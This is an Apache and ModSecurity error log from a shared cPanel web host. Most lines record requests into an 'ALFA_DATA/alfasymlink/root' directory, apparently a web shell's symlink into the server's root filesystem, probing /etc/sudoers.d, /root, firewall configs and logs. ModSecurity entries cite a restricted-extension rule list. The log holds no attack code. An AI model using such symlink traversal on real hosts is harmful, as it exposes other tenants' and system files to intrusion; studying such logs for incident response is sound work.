[Tue Oct 27 14:23:50.062297 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/iikh7iS_bx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/iikh7iS_bx/' is executable
[Tue Oct 27 14:23:50.062316 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pRcXpLxgau/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pRcXpLxgau/' is executable
[Tue Oct 27 14:23:50.062333 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bxaVZth3VS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bxaVZth3VS/' is executable
[Tue Oct 27 14:23:50.062363 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/qoKgRIpeKE/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/qoKgRIpeKE/' is executable
[Tue Oct 27 14:23:50.062393 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/FtHSIHY9fJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/FtHSIHY9fJ/' is executable
[Tue Oct 27 14:23:50.062407 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/k7tPBxTQIo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/k7tPBxTQIo/' is executable
[Tue Oct 27 14:23:50.062420 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XP6cTUswRK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XP6cTUswRK/' is executable
[Tue Oct 27 14:23:50.062437 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ouS9dGGoxk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ouS9dGGoxk/' is executable
[Tue Oct 27 14:23:50.062452 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-1KIJJh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-1KIJJh/' is executable
[Tue Oct 27 14:23:50.062464 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/mFSuYYVNz9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/mFSuYYVNz9/' is executable
[Tue Oct 27 14:23:50.062476 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/40NmY00D8K/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/40NmY00D8K/' is executable
[Tue Oct 27 14:23:50.062487 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7SsEHkh7b7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7SsEHkh7b7/' is executable
[Tue Oct 27 14:23:50.062515 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eLvl5rS_li/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eLvl5rS_li/' is executable
[Tue Oct 27 14:23:50.062545 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/tQSVI9ghfx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/tQSVI9ghfx/' is executable
[Tue Oct 27 14:23:50.062570 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Rbnkhw3mMN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Rbnkhw3mMN/' is executable
[Tue Oct 27 14:23:50.062588 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XtfNlSjyV2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XtfNlSjyV2/' is executable
[Tue Oct 27 14:23:50.062607 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/No9Qeb2GGl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/No9Qeb2GGl/' is executable
[Tue Oct 27 14:23:50.062638 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/DRWsFfNFOJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/DRWsFfNFOJ/' is executable
[Tue Oct 27 14:23:50.062684 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/p_Vpg5SIle/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/p_Vpg5SIle/' is executable
[Tue Oct 27 14:23:50.062702 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2qjNiW1LMS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2qjNiW1LMS/' is executable
[Tue Oct 27 14:23:50.062720 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Y6sES0AEnt/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Y6sES0AEnt/' is executable
[Tue Oct 27 14:23:50.062741 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-rdnwB9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-rdnwB9/' is executable
[Tue Oct 27 14:23:50.559746 2026] [autoindex:error] [pid 3274231:tid 3274231] (13)Permission denied: [client 216.73.217.51:6395] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/backup/
[Tue Oct 27 14:23:51.729320 2026] [core:error] [pid 3274954:tid 3274954] (13)Permission denied: [client 100.28.204.82:14813] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/rescan
[Tue Oct 27 14:23:55.782048 2026] [core:error] [pid 3274862:tid 3274862] (13)Permission denied: [client 54.164.106.236:8354] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/device:01/subsystem/drivers/pvpanic/unbind
[Tue Oct 27 14:24:01.649843 2026] [security2:error] [pid 3265870:tid 3265870] [client 216.73.217.51:39041] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/restic_cache.log"] [unique_id "auDsQRPIAz20_HBUJWdY-gAAAAw"]
[Tue Oct 27 14:24:01.650226 2026] [security2:error] [pid 3265870:tid 3265870] [client 216.73.217.51:39041] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/restic_cache.log"] [unique_id "auDsQRPIAz20_HBUJWdY-gAAAAw"]
[Tue Oct 27 14:24:01.650517 2026] [security2:error] [pid 3265870:tid 3265870] [client 216.73.217.51:39041] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/restic_cache.log"] [unique_id "auDsQRPIAz20_HBUJWdY-gAAAAw"]
[Tue Oct 27 14:24:03.587737 2026] [core:crit] [pid 3265870:tid 3265870] (13)Permission denied: [client 216.73.217.51:39041] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/boot/grub2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/boot/grub2/' is executable
[Tue Oct 27 14:24:07.766706 2026] [ssl:error] [pid 3280013:tid 3280013] (70014)End of file found: [client 54.166.104.83:40357] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:24:12.035008 2026] [ssl:error] [pid 3274868:tid 3274868] (70014)End of file found: [client 52.204.37.237:42220] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:24:19.993199 2026] [ssl:error] [pid 3278439:tid 3278439] (70014)End of file found: [client 34.194.14.255:14141] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:24:22.427740 2026] [core:crit] [pid 3268402:tid 3268402] (13)Permission denied: [client 216.73.217.51:44867] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/backuply/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/backuply/' is executable
[Tue Oct 27 14:24:22.427820 2026] [core:crit] [pid 3268402:tid 3268402] (13)Permission denied: [client 216.73.217.51:44867] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/pure-ftpd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/pure-ftpd/' is executable
[Tue Oct 27 14:24:22.428313 2026] [core:crit] [pid 3268402:tid 3268402] (13)Permission denied: [client 216.73.217.51:44867] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/chkservd.services_suspend/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/chkservd.services_suspend/' is executable
[Tue Oct 27 14:24:22.428365 2026] [core:crit] [pid 3268402:tid 3268402] (13)Permission denied: [client 216.73.217.51:44867] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/restartsrv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/restartsrv/' is executable
[Tue Oct 27 14:24:22.428378 2026] [core:crit] [pid 3268402:tid 3268402] (13)Permission denied: [client 216.73.217.51:44867] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/chrony/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/chrony/' is executable
[Tue Oct 27 14:24:22.428698 2026] [core:crit] [pid 3268402:tid 3268402] (13)Permission denied: [client 216.73.217.51:44867] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/rpcbind/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/rpcbind/' is executable
[Tue Oct 27 14:24:22.429097 2026] [core:crit] [pid 3268402:tid 3268402] (13)Permission denied: [client 216.73.217.51:44867] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/cryptsetup/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/cryptsetup/' is executable
[Tue Oct 27 14:24:22.429142 2026] [core:crit] [pid 3268402:tid 3268402] (13)Permission denied: [client 216.73.217.51:44867] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/apache2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/run/apache2/' is executable
[Tue Oct 27 14:24:23.209899 2026] [security2:error] [pid 3280013:tid 3280013] [client 216.73.217.51:18454] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/install_packages.log"] [unique_id "auDsVyQPBJFXJtGeDE1T7QAAAA0"]
[Tue Oct 27 14:24:23.210306 2026] [security2:error] [pid 3280013:tid 3280013] [client 216.73.217.51:18454] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/install_packages.log"] [unique_id "auDsVyQPBJFXJtGeDE1T7QAAAA0"]
[Tue Oct 27 14:24:23.210619 2026] [security2:error] [pid 3280013:tid 3280013] [client 216.73.217.51:18454] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/install_packages.log"] [unique_id "auDsVyQPBJFXJtGeDE1T7QAAAA0"]
[Tue Oct 27 14:24:23.761263 2026] [core:crit] [pid 3280013:tid 3280013] (13)Permission denied: [client 216.73.217.51:18454] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sssd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sssd/' is executable
[Tue Oct 27 14:24:23.762270 2026] [core:crit] [pid 3280013:tid 3280013] (13)Permission denied: [client 216.73.217.51:18454] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/dhcp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/dhcp/' is executable
[Tue Oct 27 14:24:23.766229 2026] [core:crit] [pid 3280013:tid 3280013] (13)Permission denied: [client 216.73.217.51:18454] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sudoers.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sudoers.d/' is executable
[Tue Oct 27 14:24:23.829617 2026] [core:crit] [pid 3280013:tid 3280013] (13)Permission denied: [client 216.73.217.51:18454] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/grub.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/grub.d/' is executable
[Tue Oct 27 14:24:23.870931 2026] [core:crit] [pid 3280013:tid 3280013] (13)Permission denied: [client 216.73.217.51:18454] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/nftables/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/nftables/' is executable
[Tue Oct 27 14:24:23.874205 2026] [core:crit] [pid 3280013:tid 3280013] (13)Permission denied: [client 216.73.217.51:18454] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/audit/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/audit/' is executable
[Tue Oct 27 14:24:23.875752 2026] [core:crit] [pid 3280013:tid 3280013] (13)Permission denied: [client 216.73.217.51:18454] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/firewalld/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/firewalld/' is executable
[Tue Oct 27 14:24:24.008512 2026] [core:crit] [pid 3280013:tid 3280013] (13)Permission denied: [client 216.73.217.51:18454] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/csf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/csf/' is executable
[Tue Oct 27 14:24:24.068864 2026] [core:crit] [pid 3280013:tid 3280013] (13)Permission denied: [client 216.73.217.51:18454] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/named/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/named/' is executable
[Tue Oct 27 14:24:24.253775 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 54.162.69.192:45161] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:24:25.363188 2026] [security2:error] [pid 3274231:tid 3274231] [client 43.164.196.47:45154] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/scrapeproxiesok.php"] [unique_id "auDsWQ5mMRwZXBs6K04OPQAAAAs"]
[Tue Oct 27 14:24:27.957685 2026] [ssl:error] [pid 3274862:tid 3274862] (70014)End of file found: [client 3.216.227.216:61926] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:24:35.933983 2026] [ssl:error] [pid 3274868:tid 3274868] (70014)End of file found: [client 44.208.223.68:31718] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:24:39.846442 2026] [ssl:error] [pid 3268402:tid 3268402] (70014)End of file found: [client 23.23.180.225:34899] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:24:50.171857 2026] [core:crit] [pid 3277916:tid 3277916] (13)Permission denied: [client 216.73.217.51:34413] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/syncus/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/syncus/' is executable
[Tue Oct 27 14:24:50.172000 2026] [core:crit] [pid 3277916:tid 3277916] (13)Permission denied: [client 216.73.217.51:34413] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/cpmove-digitalmailmx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/cpmove-digitalmailmx/' is executable
[Tue Oct 27 14:24:51.960630 2026] [core:error] [pid 3274706:tid 3274706] (13)Permission denied: [client 34.205.170.13:9298] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty4/subsystem/ttyS2/device/driver/bind
[Tue Oct 27 14:24:53.374819 2026] [authz_core:error] [pid 3268402:tid 3268402] [client 52.87.163.249:21630] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 14:24:56.007370 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 52.4.229.9:1036] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:24:59.516689 2026] [core:crit] [pid 3265870:tid 3265870] (13)Permission denied: [client 216.73.217.51:38566] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/' is executable
[Tue Oct 27 14:24:59.517066 2026] [core:crit] [pid 3265870:tid 3265870] (13)Permission denied: [client 216.73.217.51:38566] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/' is executable
[Tue Oct 27 14:24:59.892839 2026] [core:crit] [pid 3265870:tid 3265870] (13)Permission denied: [client 216.73.217.51:38566] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/' is executable
[Tue Oct 27 14:24:59.893235 2026] [core:crit] [pid 3265870:tid 3265870] (13)Permission denied: [client 216.73.217.51:38566] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/' is executable
[Tue Oct 27 14:24:59.954888 2026] [ssl:error] [pid 3274868:tid 3274868] (5)Input/output error: [client 54.87.95.7:55116] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:25:01.719195 2026] [authz_core:error] [pid 3274572:tid 3274572] [client 54.172.145.28:42818] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 14:25:06.341229 2026] [security2:error] [pid 3268402:tid 3268402] [client 54.147.51.34:21998] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "64.20.54.226"] [uri "/robots.txt"] [unique_id "auDsglkSJh9YctB3ycD1-gAAACw"]
[Tue Oct 27 14:25:06.341281 2026] [security2:error] [pid 3268402:tid 3268402] [client 54.147.51.34:21998] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/robots.txt"] [unique_id "auDsglkSJh9YctB3ycD1-gAAACw"]
[Tue Oct 27 14:25:15.607733 2026] [core:crit] [pid 3274706:tid 3274706] (13)Permission denied: [client 216.73.217.51:9323] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/' is executable
[Tue Oct 27 14:25:15.608149 2026] [core:crit] [pid 3274706:tid 3274706] (13)Permission denied: [client 216.73.217.51:9323] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/' is executable
